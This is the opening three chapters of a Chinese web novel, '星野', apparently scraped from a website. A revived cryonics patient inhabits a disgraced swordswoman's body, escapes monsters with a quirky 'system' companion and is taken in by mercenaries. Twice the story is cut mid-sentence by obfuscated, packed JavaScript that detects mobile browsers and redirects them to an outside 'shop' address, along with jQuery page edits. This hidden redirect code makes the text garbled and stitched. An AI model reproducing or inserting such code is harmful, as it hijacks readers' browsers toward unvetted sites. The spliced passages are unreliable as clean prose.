《星野》 1. 我非要死吗 「部署预初始化中。」 「正在检测环境安全性。」 「已确认环境安全,允许部署。」 「部署中。」 「部署完毕,执行功能检测模块。」 「检测完毕。系统启动中。」 「启动完毕。」 「时间:新纪138年17月9日13时56分」 「当前任务:无」 「当前状态:无」 「尊敬的宁可:您好,欢迎使用DZY0008系统,本系统旨在无可奉告,检测到您当前健康状态不佳,建议尽快就医,以保证系统正常运行。」 关于苏醒时的第一眼看到的场景,宁可曾有过许多幻想。 也许是干净整洁的白色天花板,或者六边形栅格玻璃制的休眠舱,再不然是返老还童的父母,甚至头顶黑白光圈的恶魔天使,宁可都想过。 唯独没料到,印入眼帘的,是一个看得见摸不着的企鹅聊天窗,恶臭熏天的垃圾场,和满身伤痕的自己。 虽然伤口看起来并不严重,也没有想象中那么痛,但宁可还是委屈巴巴,眼含热泪。 宁可本是个天真烂漫(可能沾点边),纯真善良(大概没跑)的大学生,如果没有那场突如其来的病,宁可本该过上衣食无忧,幸福美满的一生。 可上天偏爱恶作剧。二十岁的年纪,绝症诊断书像块冰,砸在了她和家人头上。 家里不算大富大贵,可也不差看病钱,父母带着她跑遍了国内外的名医,中药西药试了个遍,甚至连偏方都没放过,可病情还是一点点恶化,医生皆是摇着头说“尽力了”。 走投无路时,一个远房亲戚介绍了个“可疑机构”,说有个“冷冻计划”,能把人送往未来,等医疗技术发达了,再解冻治病。 现在想来,这哪是什么计划,分明是把人塞进冰箱似的铁皮休眠舱,裹上几层保温膜,直接埋进了地底——美其名曰“低温封存”,说白了,和活埋没两样。 宁可想,自己醒过来的概率,恐怕还不如变成一颗种子就地发芽来得高。 可后悔的话还没说出口,就被护士推了麻药,意识沉下去前,只听见父母压抑的哭声,和机构人员那句轻飘飘的“放心,未来会好的”。 好个屁,最后还不是被当成废料丢垃圾场了? 宁可擦擦眼睛,强忍伤心,目光投向那个可疑到极点的聊天窗。 这什么玩意儿? 宁可正这么想着,「这什么玩意儿?」几个字就显示在聊天窗上。 「尊敬的宿主您好,这里是DZY0008系统交互页,请问您有什么指示?」 宁可若有所思。宿主?系统?这词她熟,小说里遍地都是。 她清了清发干的嗓子,心里迅速盘算起最实际的需求,念头刚起,文字就已经飘上了聊天窗:「带我去医院。」 沉默了两秒,聊天窗里跳出干巴巴的三个字:「……做不到」 「那……武林秘籍?万贯家财?机甲高达?」 「……都没有。」 「行。那地图导航总有吧?我自己去医院总行了?」 这次系统的回复很快,冰冷的字体透着一股不容置疑的决绝:「当前星球已不存在可用医疗建筑。」 宁可愣了一下:“哈!?”聊天窗上同步跳出:「哈!?」 不等她消化这句话的重量,一行新的文字弹了出来:「检测到宿主认知缺失,存在可获取的信息,是否获取?」 宁可别无他选,回复「是」的瞬间,便感到一阵海浪似的疼痛涌上头颅,她闷哼一声,直直栽倒在冰冷的垃圾堆上。 再次醒来时,垃圾场的恶臭依旧呛人,视野里的企鹅聊天窗仍然存在。 只是这一次,她的脑子里凭空多了一段不属于自己的记忆,一段关于“宁珂”的记忆。 宁珂,希里帝国慕氏门下第一女剑圣,一身剑术登峰造极,是帝国年轻一辈里最耀眼的存在,却偏偏是个顶级恋爱脑。 为护未婚夫慕远的家族周全,她隐瞒慕远之父慕城的背叛,抗下怯战逃兵的污名,被全帝国唾骂,换来的却是慕远的彻骨误解和冷眼。 最后,慕远为洗清慕氏的耻辱,亲手将她抛弃,命她以死抵抗汹涌的虫潮,用她的命,洗刷慕氏一族的耻辱。 而宁珂,这个傻到极致的女人,竟真的没有反抗。 她率领着仅剩的手下建立起最后一道防线,硬生生抵抗了虫群三天三夜,拖到殖民区大部分民众撤离,才终是寡不敌众,被虫族利爪击入霍格裂谷。 宁可坐在地上,消化着这段突如其来的记忆。 「这个宁珂……跟我有半毛钱关系吗?」 「您现在使用的是宁珂的身体。」 「呃……你的意思是,我冷冻以后没醒过来,结果穿越了?不仅穿越,却穿到一个被怪物重重包围的恋爱脑身上?」 「是的。」 「我一定要这么命苦吗?」 「……」 宁可深吸一口气,正欲叹息之时,但见系统对话框转为血红色,闪烁着醒目的红色感叹号: 「警告,警告!检测到虫群信号!触发紧急任务:逃命。成功奖励:应急穿梭舱坐标。失败惩罚:无。」 宁可还未反应过来发生了什么,便已看到前方裂谷转角爬来一只恐怖狰狞的怪物。 怪物宛如被剥了皮的大号鬣狗,通体翻着暗红溃烂的血肉,筋络虬结地贴在骨头上,每动一下都牵扯着外翻的皮肉,脑袋歪扭着,呲咧着一口参差不齐的丑陋尖牙,口中滴落着混着碎肉与粘液的不知名液体。 不等宁可反应,怪物已弓身冲刺,尖牙直扑她的脖颈。 那股刻在宁珂身体里的、对虫族的战栗瞬间窜上脊背,她惊叫出声,同时下意识往后缩,随手在地上抓起一根锈迹斑斑的钢管,抡圆了砸向怪物头颅。 “嘭”的一声闷响,钢管断成两段,怪物趔趄着嘶吼,又再次扑来。 宁可脑子一片空白,只凭本能侧身,双手攥紧断管管身,借着怪物冲势狠狠一插! 断管从血口刺入胸腹,血液喷了她满身。怪物僵了两秒,重重砸在垃圾堆上,再没动静。 然而,还没来得及庆祝,远方又传来更多嘶吼。 宁可再无犹豫,撒丫子朝着反方向狂奔。 泪水模糊视线,地面坎坷不平,垃圾遍地,害得宁可好几次差点被绊倒,可她不敢停,就那样一直跑,直到喘不上气干呕为止。 恰在此刻,她看到一个直径约半米的大号排污管,管口还残留着未干的污水痕迹,散发着比垃圾场更刺鼻的恶臭味,她咬咬牙,猫着腰钻了进去。 管道里又窄又湿,管壁沾满了滑腻的污垢,蹭了她满身。 好在虽是一片黑暗,却仍能勉强看清前方的路。 宁可忍着恶心,手脚并用地往深处爬,管道里的腥臭味越来越浓,好几次她都差点吐出来,只能死死憋着,心里默念着“活下去”给自己打气。 不知爬了多久,前方突然传来微弱的水流声,紧接着视野豁然开朗,她似乎爬进了一处宽敞的城市下水道。 刚从管道口钻出来,双脚踩在没过脚踝的污水里,那股混杂着腐臭、化学剂和不明腥气的味道瞬间直冲鼻腔。 宁可再也忍不住胃里的翻江倒海,“呕——”扶着冰冷的下水道墙壁,弯腰干呕起来。 胃里空空如也,什么都吐不出来,只有酸涩的胆汁灼烧着喉咙,眼泪不受控制地往下掉。 「检测到虫族信号已消失,任务已完成。奖励发放中:应急穿梭舱坐标x:770.03,y:129.11,z:644,建议宿主向东北方向移动。触发任务:乘坐穿梭舱逃离霍拉比星。任务奖励:3000帝国币。失败惩罚:死翘翘。」 「东北?」 宁可四下环顾,也没找到什么标识牌指向东北……谁会在下水道安标识牌啊混蛋! 「……建议宿主沿右手边通道移动。」 宁可乖乖照办,摸黑走了约莫二十分钟,才终于又瞧见一缕光线,斜斜倾照在一道金属爬梯上。 她手脚并用攀上爬梯,锈蚀的铁条咯吱作响,到顶端时才豁然洞开——是下水道检修口。她屏息顶开盖板,刺鼻焦味混着浓烟扑面而来。 眼前小镇已成废墟:断壁残垣间歪斜插着烧黑的告示牌,半截“warning”字样在风中轻晃;远处高塔坍塌,露出扭曲的金属骨架,几具人类尸体横陈街心,衣衫焦烂,血肉模糊。 两只甲壳泛青的虫族怪物正蹲在尸堆旁,相互嘶吼着。 忽然,其中一只余光怪物瞥到宁可,猛然扭头,却被另一只怪物抓住机会咬住咽喉,奋力一甩,血浆横飞溅了一地,瞬间没了动静。 宁可一阵后怕,缩回管道口等了十来分钟才再次探头,这时四周已无虫族身影,宁可终于重见天日。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407345|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不敢在街心多做停留,快速跑到旁边一栋相对完整的独栋房屋里,在玄关处找到了一把磨得锋利的小匕首。 冰凉的触感握在手里,让她稍稍有了点安全感。 目光扫过不远处那具虫族的尸体,宁可脑子里突然灵光一闪,冒出一个大胆的念头。 她咬了咬牙,费了九牛二虎之力,才把那具沉重的虫族尸体拖进独栋房屋,关好门,抵上沉重的柜子。 随后,她握紧手里的匕首,深吸一口气,忍着虫族尸体散发的浓烈腥臭味,在怪物的腹部狠狠刨割起来。 匕首不够锋利,只堪堪刨出一个半人高的空腔便钝得无法使用。 但有总比没有好,宁可将虫族的尸体当作草衣盖在自己身上,因为空腔不够大,只遮住了头和身子,两手两脚还露在外面。 她忽然觉得自己有点像舞狮表演者。 视野里的聊天窗突然跳出一串省略号:「……」 「你有意见?」宁可骂骂咧咧。 「没,没有。」 宁可懒得管系统的想法,只靠着虫族尸体的掩护,小心翼翼地从房屋里手脚并用爬出来,朝着系统给出的应急穿梭舱方向移动。 没多久,她便遇到游荡的虫族怪物,怪物虽对着她嘶吼,却始终没有扑上来的意思,宁可的心脏数次提到嗓子眼,又一一落回原地。 有用! 「嘿嘿看到了吧!还敢质疑本小姐的智慧!」 宁可喜笑颜开,暗暗对系统炫耀。 「……」系统似乎有点无语。 靠着虫尸的掩护,宁可在一片坍塌的空港废墟里找到了系统指示的应急穿梭舱。 和宁可想象的不同,眼前的舱体不过家用衣柜大小,通体淡灰金属色,圆滚滚的形似发胖的卡通火箭,只是少了卡通的可爱,多了满身的狼狈。 火箭外表坑坑洼洼布满划痕,还被硬生生撞离了固定底座,侧翻在冰冷的水泥地上,机身下方漏出好大一摊透明的液体。 好在四周静悄悄的,暂时安全,宁可借着宁珂女剑圣的身体,力气大得超乎预料,她扣住舱体边缘,憋足了劲猛地发力,一声闷哼后,竟真的将沉甸甸的穿梭舱扳回了正位。 金属舱体撞击地面发出“哐当”一声轰鸣,在死寂的废墟里格外刺耳。远处立刻传来虫族尖锐的嘶吼声,由远及近,吓得宁可心脏狂跳。 她顾不上擦额头上的汗,慌忙扑到舱门前,却发现这里没有任何开门把手,也无显眼的启动按钮,只在舱门正中央嵌着一块巴掌大的显示屏,屏幕上正一闪一闪跳着一个淡蓝色的手掌符号。 宁可没有多想,把手按上去,一阵微麻的触感后,仓门应声开启,同时传来甜美的电子播报声: “尊敬的“宁珂”上尉,您好,欢迎乘坐‘凯旋’z0032号应急穿梭仓……” “闭闭闭闭闭嘴!快给我关门!!!” 宁可余光瞥见几只虫族张牙舞爪地朝这边冲刺而来,吓得魂飞魄散,连滚带爬地钻进舱体,手脚并用地拍打着舱内的关门按钮。 舱门应声闭合,紧接着,舱体外便传来“哐哐哐”的撞击声和利爪刮擦金属的刺耳声响,虫族的嘶吼声近在咫尺,仿佛下一秒就要冲破舱体。 “给我飞!启动!快启动!啊啊啊啊救命救救我呜呜呜!” 宁可歇斯底里地惨叫,下一秒,穿梭舱底部喷出炽烈的蓝色火焰,强大的推背感将她狠狠按在座椅上,舱体剧烈震动着,朝着天空直冲而去。 透过舷窗,宁可眯着眼偷瞄,看见自己正飞速远离地面,那几只追来的虫族被推进器的火焰狠狠灼伤,在地上翻滚嘶吼,很快便变成了小小的黑点。 广播还在持续播报。 “爬升中。当前高度1000米。” “即将穿越大气层,请注意。” “已穿越大气层,进入近地轨道。” “已达到霍拉比星第一宇宙速度,即将进入行星环绕轨道。” “已进入环绕轨道。” 宁可瘫坐下来,大口大口地喘着气,手脚还在不受控制地发抖,缓过神后,她情不自禁焕发出一股对自己的钦佩感。 自己简直就是天才! 然而。 “警告:燃料不足,无法达到第二宇宙速度,无法脱离引力束缚。” 宁可傻眼,第二宇宙速度是啥来着? 舷窗外,星空广阔寂寥,一望无垠。 2. 饿饿,饭饭 宁可很快明白了自己的处境。 她跟卫星一样,飘在星球外围轨道上,上不去下不来了。 太空漂游的第一天,宁可狠狠过了把当太空人的瘾,观赏了美丽的霍拉比星和广阔无垠的星海。 太空漂游的第二天,宁可饿得前胸贴后背,看太阳像饼干,看星球像餐盘。 太空漂流的第三天,宁可饿到能跟虫族怪物互啃,并有信心能在被吃掉之前先吃掉对面。 至少宁可自己是这么想的。 「好饿……」 「……」 「要饿死了……」 「……」 宁可瘫在穿梭舱的座椅上,四肢软得像没骨头,眼皮耷拉着,连开口骂人都嫌费劲儿。 自家系统是真的废,宁可想,为什么别人家的系统,今天送神器明天加等级,恨不得把宿主宠上天,自家系统倒好,一天屁事不干,就只会发串破省略号糊弄人? 最令人生气的是,之前拍着胸脯说完成任务就发的三千块钱奖励,到头来居然是张塞在穿梭仓储物柜里的、满5k减3k的购物抵价券! 抵价券! 这是诈骗吧?这是诈骗没错吧? 那张抵价券已经在第二天晚上被宁可吃掉了,字面意义上。 因为抵价券看起来能吃,而且能咬得动,索性揪过来嚼了。 嚼的时候宁可没尝出半点味道,只蔫蔫想着这要是换成三千张纸币,好歹能嚼更久,真可惜。 穿梭舱里狭小又寂静,唯有引擎在低低的轰鸣,枯燥得让人发疯。 宁可没有力气发疯,只闭上双眼,一段时间后失去了意识,不知是睡了过去还是饿晕过去。 于是理所应当地,宁可没有看见仪表盘显示器上突然亮起的通讯邀请。 同一时刻,八万公里外的野狼号上。 “老古,没回应啊,怎么办?” 西彩支着下巴坐在副手座椅上,指尖敲着桌面,抬眼问道。 被唤作老古的男人站在操作员身后,一身黑色作战服,身形挺拔壮硕,身高超过两米,双手抱胸,下颌线冷硬:“能拿到舱体控制权吗?” “可以,已经破解了,”负责监测的操作员抬手调出全息面板,“身份是帝国第七舰队上尉,生命体征偏弱,应该是缺食缺水。舱体信息读写有加密,但能用帝国给的密钥解锁。” 老古沉默两秒,吐出两个字:“……救援吧。” 操作员们忙碌起来,各司其职。 四十分钟后,宁可连带着穿梭仓一起被拖入野狼号交接室。 身着防化服的工作人员迅速入内做初步消毒,随着机械嗡鸣,穿梭舱的仓门缓缓滑开,映入监控画面的,是个浑身裹着污垢、头发黏成一缕缕的女性,身上还沾着未干的虫族腥渍,活脱脱一坨人形秽物。 “唔啊,这什么啊?大便超人?好恶心……”西彩盯着监控屏,皱着鼻子嗤之以鼻。 “你小声点,别给人听见了。”金发男人亚尔斯凑过来,手肘撞了撞她的胳膊,打趣说道,“人家可是帝国上尉呢!” “上尉咋了,还能把我舌头割了啊?” 亚尔斯没再跟她斗嘴,指尖在全息屏上放大画面,盯着那张脏污却依稀能辨轮廓的脸,吸了口凉气: “这女的挺眼熟啊?好像是之前帝国新闻里的那个……” 一直沉默的老古,目光扫过监控屏,淡淡开口,一语定音: “怯战孔雀,慕家少主的未婚妻剑圣,宁珂。” 西彩愣了下:“真的假的啊?我舌头不会真不保了吧?” “不是说她已经死了么?” 亚尔斯抬手点开个人终端,投射出官方全息公告,一字一句读道:“帝国第七舰队上尉宁珂,在霍拉比星撤离行动中,率队引开虫族主力,于霍格裂谷壮烈殉职。但因鹰嘴要塞指挥失利之过,功过相抵,不追为烈士,不追授名誉勋章。” “合着没死啊?” “……咋办?要不把她丢回去,就当没看见?” “你也是个人?” “啧,那你有什么高见?” 两人正斗嘴,老古的声音冷不丁响起,打断了争执: “西彩,亚尔斯,你们两个去沟通,打探清楚情况,再作决定。” 两人互相摊手,乖乖起立,起步离开主控舱。 “注意态度。” “知道啦!” 宁可醒时,身上伤口已被妥善包扎,鼻腔里萦绕着淡淡的消毒水味,穿着干净柔软的病号服躺在铺着洁白床单的病床上。 终于不用再闻垃圾场和虫族的腥臭味了。 过往十几个小时的狼狈与绝望翻涌上来,从垃圾场的死里逃生,到太空的饥寒交迫,再到此刻突如其来的安稳,百感交集,眼泪毫无预兆地砸在床单上,越哭越凶。 不远处的西彩和亚尔斯正各捧着一个光脑打游戏,听见动静连忙收起设备,凑了过来。 两人看见宁可的丑态也有点傻眼,互相推搡着,谁都不想先说话。 最后还是西彩被亚尔斯推了一把,踉跄着上前一步,硬着头皮开了口。 “女、女士您好,”她清了清嗓子,语气难得有点局促,“这里是野狼号星际巡航舰,我是西彩,他是亚尔斯。呃……不久前我们检测到您的穿梭舱发出的遇险信号,但我们连续发了几次通讯请求都没回应,只好在没经过您允许的情况下,对您进行了救援,那个……抱歉啊。” “e……” “您、您说什么?” “呃、饿,能给点吃的吗……” 差后勤人员送来食物后,无视掉面前狼吞虎咽一边吃一边掉眼泪的宁可,西彩把亚尔斯拉到一边。 “你确定这是什么女剑圣?” “……谁知道呢?不过我觉得这种事不能太较真,我也可以说我是野狼号第一男枪神啊,”亚尔斯撇撇嘴,“简称男神。” “那你敢自称帝国上尉吗?” 亚尔斯刚要接话,病床方向突然传来一阵急促的呛咳声。 两人猛回头,便见宁可吃得太急噎住,脸憋得通红,脖子梗着直挣动,手里还攥着半块没吃完的营养糕。 “我勒个豆啊!”西彩一副绝望的神情,三步并作两步跨了过去,伸手拍上她的后背顺气。 十来分钟后,宁可终于吃饱了。 她擦了擦嘴,局促地捏着那半块没吃完的营养糕,抬眼看向西彩二人。 “那个……多谢款待。”宁可清了清嗓子,小心翼翼地试探,“就是,我身上一分钱也没有,给你们洗盘子抵钱行吗?” “您说笑了,女士。”亚尔斯轻笑一声,不动声色地朝西彩递了个眼色。 西彩会意,转身退出了医务室。 主控室里,西彩很快找到了“老古”汇报完情况,随后调出医务室的监控画面,同步开启了音频播放。 画面中,亚尔斯拖过一把椅子,动作优雅地叠起长腿,语气温和得挑不出毛病: “美丽的女士,能有幸请教您的姓名和来历吗?” “yue!油腻男!”主控室里,西彩盯着屏幕,嫌弃地搓了搓胳膊上的鸡皮疙瘩。 “呃,恩人你别这么客气,”宁可眼神飘忽,大脑疯狂飞转,拼凑着刚苏醒时看到的信息,“我叫宁可,是那个霍……霍拉格星上的普通居民。” “您是说霍拉比星?”亚尔斯温和地纠正。 “啊对对对!霍拉比,霍拉比星!” “那……您在那里生活很久了吗?” “是啊,从记事起就一直待在那儿了。”为了增加可信度,宁可还努力挤出了几分泫然欲泣的怀念之色,“所以那里也算是我的故乡……” 亚尔斯额角青筋抖动了几下,思考片刻才再次开口:“霍拉比星的行星殖民计划,我记得满打满算也才启动了七年。” 宁可脸上的悲伤瞬间僵住。 她恨不得找个地缝钻进去,反应过来后猛地捂住脑袋,开始了拙劣的补救:“啊!这样吗?哎哟我的头……可能之前撞到了头,记忆出现混乱了……” “没关系,我完全理解。”亚尔斯松了口气,体贴地递上台阶,“我听说人在遭受重创后,大脑为了自我保护,会产生一些幻觉或者记忆错乱,可能……” “啊对、没错,我应该是失忆了!”宁可附和。 亚尔斯在心底叹口气,企图把话题引向正轨:“我看您之前穿着制式作战服,您是从帝国来的吗?或许您还是帝国某位尊贵的军官?” “不!绝对没有!我就是个遵纪守法的普通老百姓!” 宁可否认得斩钉截铁,不愿再跟帝国军方产生半点瓜葛。 亚尔斯深深地看了她一眼:“您确定吗?” “非常确定。” 对话就此陷入了诡异的停滞。两人面对面沉默了半分钟,亚尔斯看着眼前这个破绽百出却死鸭子嘴硬的“帝国上尉”,无奈地在心底叹了口气。 “好吧。那您后续有什么打算吗?”亚尔斯站起身,掸了掸衣角,“我们野狼佣兵团的基地在稀土星,如果您之后想回帝国,恐怕得等飞船落地后,自行搭乘星际航班回去了。” “我……我暂时还没想好……” 亚尔斯叹了口气:“那这样吧宁女士,您或许会想跟我们老大谈谈,但他……没有参与这次任务,所以不在飞船上,没办法立即来见您。” “呃……没事没事。” “那等落地后,他再来跟您见面。您看这样安排可以吗?” “可、可以的!太谢谢了!”宁可如蒙大赦。 “那我就不打扰您休息了,有任何需要请随时呼叫我们。” 医务室的金属门刚一合拢,宁可就猛地拉过被子蒙住脑袋,在被窝里尴尬得疯狂扭动。 同一时间的主控室屏幕前,西彩瞄了一眼明明就站在自己身边的“不在船上的老大”,看着老古那张黑如锅底、无语至极的脸,西彩死死咬住后槽牙,才没让自己当场爆笑出声。 当日,野狼号平稳降落在稀土星灰城空港。 工作人员依惯例将飞船日志作为任务附件,提交至任务发布者——帝国佣兵协会。 协会通过人工智能对信息做泛化精简,拟成任务报告,上送至帝国军务部终端。 于是宁珂这个本该被时间掩埋的名字,突兀地出现在帝国军务部基层人员陆仁甲面前。 陆仁甲未作半分耽搁,携报告前往领导办公室,又在领导的示意下将报告转送到霍拉比撤离行动指挥部慕远处。 但他没能第一时间跟慕远说上话。 指挥部的门虚掩着,里面传来压抑的争执声。陆仁甲觉得有点纳闷,因为按理说撤离行动已经算是落下帷幕了才对。 门内确是清寂,大部分工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407346|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作人员早已离场休整,陆仁甲进门时房内只剩慕远、程氏的大小姐程雅,还有一位身着军装、胸前挂着大大小小近十个勋章的中年军官。 此刻,慕远垂眸伏案,正逐份在文件与战报上签署姓名,指尖的钢笔划过纸面,带着难掩的沉郁。 程雅静立慕远身侧,柔声细语地帮他将签好的文件整理入册,一派妥帖。 “何叔,这话我已经说过无数次了,再讲最后一遍——虫潮过境,别说活人,连尸体都不会留下。别再提这件事,别再提这个名字。” 慕远的眼中布满血丝,声音也疲惫不堪,即使如此,陆仁甲依然能听出他话语中隐藏的不耐和怒意。 被称作何叔的军官沉默了数分钟,终究不肯放弃,沉声道: “就算是虫族,也未必会深入霍格裂谷觅食。如果尽快派搜救队过去,至少有希望找回小宁的遗体……” “怎么找?找哪里?你有精准坐标?裂谷无法降落,你又打算搭多少士兵进去?” 军人深吸一口气,似乎也在忍耐着什么:“……无论如何,帝国军官战死,都该得到应有的体面,更何况,她是你的未婚妻!” “她配么?”慕远的声音冷得像冰,一字一句,淬着刺骨的嘲讽。 “……你说什么?” “我说,她配么!?一只怯战蜥蜴,配做我慕家的未婚妻么?” “慕远!这次作战,如果没有小宁在前方死顶拖延时间……” “那又如何?鹰嘴堡垒那次死了多少人?我父亲又是怎么死的?”慕远拍桌起身,怒吼出声,“功过相抵,说出来我都恶心!这种人,别说是摔死,就是千刀万剐也是活该,咎由自取!” 何叔闭上眼睛,深吸一口气强压翻涌的怒意,冷哼一声,起身正欲离去,却不料慕远的话再度追来:“当然,何叔怎么想我也清楚,毕竟死的不是何叔的父亲,何老爷子现在过得如何安逸我可清楚得很。” 此话一出,何叔勃然大怒,扬腿一脚,狠狠踹翻身前的办公桌,文件与茶杯轰然落地。 “咚”的一声巨响,震得门板轻颤,也狠狠砸在陆仁甲心上。 陆仁甲又看了看手上的报告,犹豫是不是该真的送上去。 “慕远!老子今天就把话撂在这!要不是仗着你母亲那边的关系,你跟你那死鬼老爹,在帝都连根草都算不上!你扪心自问,小宁跟了你多少年,她是什么样的人你心里不清楚?程家来个狐狸精你就瞎了眼了?鹰嘴堡垒老子也在场,小宁从头到尾,没做错任何一件事!” “她收到我父亲的指令,没有带人突袭,反而怯战不出,导致……” “放你娘的屁!根本没有什么狗屁指令!”何叔怒喝着打断他,“是你爹贪生怕死,想拿我们其他所有人当诱饵,好让自己趁机逃命,结果半路上自食恶果!现在你再说,到底谁活该?!” “不可能!”慕远脸涨得通红,指尖死死攥着桌沿,一字一顿咬牙切齿道,“何叔,我敬你是长辈,但这不代表你可以随便侮辱我父亲!” “笑话!你父亲算哪根葱,侮辱他对老子有什么好处!?老子就是见不得你们这狼心狗肺的做派,别人不敢说,老子敢说!反正大不了何家隐退便是,谁当下一个元帅老子都逍遥自在!老子告诉你,事实就是如此,你信与不信大可以自己去查去问,鹰嘴要塞死得人多,活着的也不少,别在这跟老子狐假虎威!” “……如果真是这样,她为什么不辩解?林塔他们为什么要做假证?战时记录上明明写着……” “那是为了你!都说到这份上了你还不明白!你那个元帅爷爷已经老了快死了!她不说话是想护着你慕家!你说话做事动动脑子!” “不,不可能……”慕远张大嘴巴,气势却已弱了下去,“……把林塔叫过来,我有事问他……” “林塔他……撤离时受了伤,现在还在昏迷中……”程雅柔声回应。 对话陷入停顿,唯剩两人粗重的喘息。陆仁甲抓住机会,开口表明来意: “那、那个,几位大人,我是陆仁甲,隶属从军务总部,有一条紧急消息,部里吩咐务必向慕指挥官汇报……” 何叔和慕远皆未开口,倒是程雅柔声给了他一个台阶:“说。” 陆仁甲目光在慕远惨白的脸与何叔怒红的眼之间快速扫过,手心沁出冷汗,战战兢兢地汇报: “一个小时前,军务部接到佣兵协会的报告,称佣兵团在执行任务时,搜救到一位帝国军官,姓名……姓名是宁珂,军衔是上尉。” 时间仿佛被凝滞。 良久,何叔率先回神,他看了一眼失魂落魄的慕远,又冷冷扫过程雅瞬间变了色的脸,转身便走。 行至门口,他停下脚步,冷冷丢下了一句:“此事,我会原原本本,一字不差,上报长老会。” 脚步声远去,指挥部里的死寂更甚。 慕远垂着眸,看不清眼底的情绪,他用一种近乎沙哑的声音,冷冷下了逐客令:“出去。” 程雅心头一紧,连忙上前伸手安抚,却被慕远猛地甩开。 “我说,出去!” 程雅脸色白了又白,终究是咬了咬唇,转身跟着陆仁甲走出了指挥部。 刚至门外,程雅便从陆仁甲手中夺过那份报告,指尖划过“宁珂”二字时,眼底闪过一丝狠戾。 瞪了陆仁甲一眼后,她攥着报告,快步离去。 3. 以帝国之名 其实照宁可原来的想法,等落地人类世界以后,她就立即卷铺盖跑路,从此过上健健康康无灾无病的幸福生活。 然而。 「检测到条件满足,主线任务已触发:前往稀土星坐标x717.4,y960.22探查,拍摄至少三张异常资料,并以任意方式提交给希里帝国。 完成奖励:制式高分子振动刀*1,帝国币30000。 失败惩罚:电击惩戒。」 宁可刚想问电击惩戒是个什么玩意儿,脑中就砸进一段画面: 一个上身赤裸的男人被捆在一张铁质座椅上,旁边身着黑制服的人按下红色开关,男人头发骤然炸起,身体剧烈抽搐,没一会儿便直挺挺晕死过去。 宁可:……我可不是害怕被电哦,只是奖励看起来很诱人而已! 野狼号最终顺利在灰城据点降落。 在亚尔斯的带领下,宁可一路穿过充满机油味和金属碰撞声的通道,忐忑地摸到了佣兵团指定的会议室门前。 “宁女士,别紧张。”见宁可攥着衣角、像只受惊的鹌鹑一样不停深呼吸,亚尔斯笑着宽慰,“我们老大只是看着凶,其实是个很讲道理的人。” 亚尔斯其实也有点搞不清楚,面前这个怎么看都毫无素养、欠缺基础常识的女人,到底是怎么顶着“帝国女剑圣”的名号活到现在的? 如果是扮猪吃虎,那演得这么拙劣又有何意义? 可碍于对方那见鬼的军方身份,他又不得不捏着鼻子奉陪下去。 “谢谢你啊……那、那我敲门了哦?”宁可战战兢兢问。 “请便。” 宁可深吸一口气,攥紧拳头,小心翼翼地在门上敲了三下。 “进。”门内传来一个低沉粗犷的男声。 推开门,宁可下意识屏住了呼吸。 只见宽大的真皮沙发上,大刀阔斧地坐着一个身着深黑色西服的(下飞船以后快马加鞭换的)壮硕男人。 男人目测身高绝对超过两米,身宽体壮,压迫感十足。对比之下,房间里的茶几和沙发简直像是缩小版的儿童玩具。 “这位就是我们野狼佣兵团的团长,古恩。老大,这就是那位宁可宁女士。”亚尔斯率先开口介绍,仿佛古恩真是第一次见宁可的脸。 “你好。”古恩微微颔首,目光锐利地在宁可身上扫过。 “古、古团长您好!我是宁可,初来乍到,不好意思叨扰了!”宁可吓得连忙九十度鞠躬。 古恩站起身,递出那只足有脸盆大小的巴掌。 宁可战战兢兢地伸直胳膊迎上去,指尖堪堪够到掌心,完全握不住对方的手。 几人各自落座。古恩单独占据了一张沙发,亚尔斯则陪着宁可坐在对面。落座时,古恩面无表情地瞥了亚尔斯一眼,亚尔斯微微摊了摊手。 “宁小姐,大致情况亚尔斯已经向我汇报过了。”古恩端起桌上的茶杯,抿了一口,“您是帝国居民,后迁居霍拉比星,因虫潮遇险流落至此,近期因为‘头部受伤’,暂时没有回母星的打算。我说的对吗?” “是、是的,没错!”宁可心虚附和。 “那么,您计划在稀土星逗留多久?” “呃,这个……我还没来得及想那么多……” 古恩放下茶杯,庞大的身躯微微前倾,极具压迫感。 “女士,您应当清楚,稀土星严格意义上属于‘法外之地’,灰城更是鱼龙混杂,各类私兵和武装集团盘根错节。您孤身一人留在这里是非常危险的行为。我们野狼佣兵团不会限制您的人身自由,但也没有长期无偿保护您的义务。” 宁可像被戳破了的皮球,一下子蔫了下去。 虽然有些难以启齿,但她确实有过在这儿蹭吃蹭喝的奢望。 毕竟她又没钱,随便乱跑的话,人生地不熟的搁哪个角落饿死估计都没人知道。 看着宁可失落的神情,古恩皱了皱眉,语气又稍稍放缓: “或许我表达得不够准确,让您误会了。我们虽然是拿钱办事的雇佣兵,但常年与帝国军方保持着稳固的合作关系,所以,我们非常乐意为‘帝国’尽一份力。” 古恩把“帝国”二字咬得很重。 “问题在于,我们无法接受模糊不清、没有明确目标的指令。您懂我的意思吗?” “嗯……啊?”宁可愣住了。 她忽然发现,对待自己这样一个普通的落难者,这群雇佣兵说话的态度似乎过于拘谨,甚至有点小心翼翼了。 之前她以为这是亚尔斯的个人教养,但现在这位团长也来这套…… 电光石火间,宁可脑子里灵光一闪。 “假如……我是说假如哦,”宁可咽了口唾沫,大着胆子试探,“假如我无法支付委托你们的费用呢?” “这一点请宁女士放心。”古恩从容地靠回椅背,“事成之后,我们自然会找帝国相关部门进行对接结算。您不需要操心费用的问题。” 公款消费!帝国报销! 